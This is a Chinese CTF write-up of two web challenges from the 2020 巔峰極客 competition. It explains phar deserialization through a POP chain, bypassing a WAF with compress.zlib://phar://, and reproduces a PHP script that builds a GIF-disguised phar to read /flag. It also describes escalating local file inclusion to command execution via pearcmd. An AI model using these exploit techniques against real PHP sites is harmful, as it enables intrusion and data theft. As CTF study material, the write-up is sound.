巔峰極客2020
阿新 • • 發佈:2020-12-27
2020巔峰極客部分WP
參考連結:https://www.gem-love.com/ctf/2634.html
主要不是題目的解答,看了穎奇大佬的文章,再根據自己在做題目的過程中記憶,對題目單純的進行理論上的復現,原理是一樣的
BabyPhp2
開啟題目
這裡提示已經很明顯了,這裡登陸不上的。
然後掃目錄,得到www.zip,原始碼洩漏,然後開啟原始碼,進行原始碼的分析
檔案讀取的漏洞,但是這個讀取方法裡面的有waf,魔術方法就需要製造呼叫,構建POP鏈。現在就是要找到這個鏈頭了。
有一個魔術方法之中有修改的內容,可以這裡是可以利用,接下來就是想辦法將 這個地方包含進來還要執行這條鏈。剩下的就是file_get_contents
phar
偽協議滿足要求。但是
已經被銷燬了。這裡提醒一下,偽協議是可以聯合使用的。
compress.zlib://phar://
這樣就可以繞過限制讀取檔案,再加上那個upload.php上傳的時候改一個名字,問題也就解決了。下面貼上大佬的指令碼。
<?php class User { public $id; public $age=null; public $nickname=null; public $backup; public function __construct() { $this->nickname = new Reader(); $this->backup = "/flag"; } } class dbCtrl { public $token; public function __construct() { $this->token = new User; } } Class Reader{ public $filename; public $result; } $y1ng = new dbCtrl(); $phar = new Phar("web1.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($y1ng); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); @rename("web1.phar", "y1ng.gif");
之後將gif上傳即可
這裡利用是否有序列化的資料出現判斷是否協議生效,這樣就可以調節檔案路徑到底是怎樣的。
phar反序列參考連結:https://paper.seebug.org/680/
MeowWorld
這道題有個Hint:register_argc_argv
然後這個題很容易看出漏洞是本地檔案包含,並且限制了包含的目錄,就別想逃出來了。
然後就是利用pear這個包管理器,下載我們自己的馬兒,然後,包含,來命令執行。
http://127.0.0.1:8080/index.php?f=/usr/share/pear/pearcmd&+list
這個就相當於在本地執行
pear list
這樣也就不難猜到提示詞的用意了。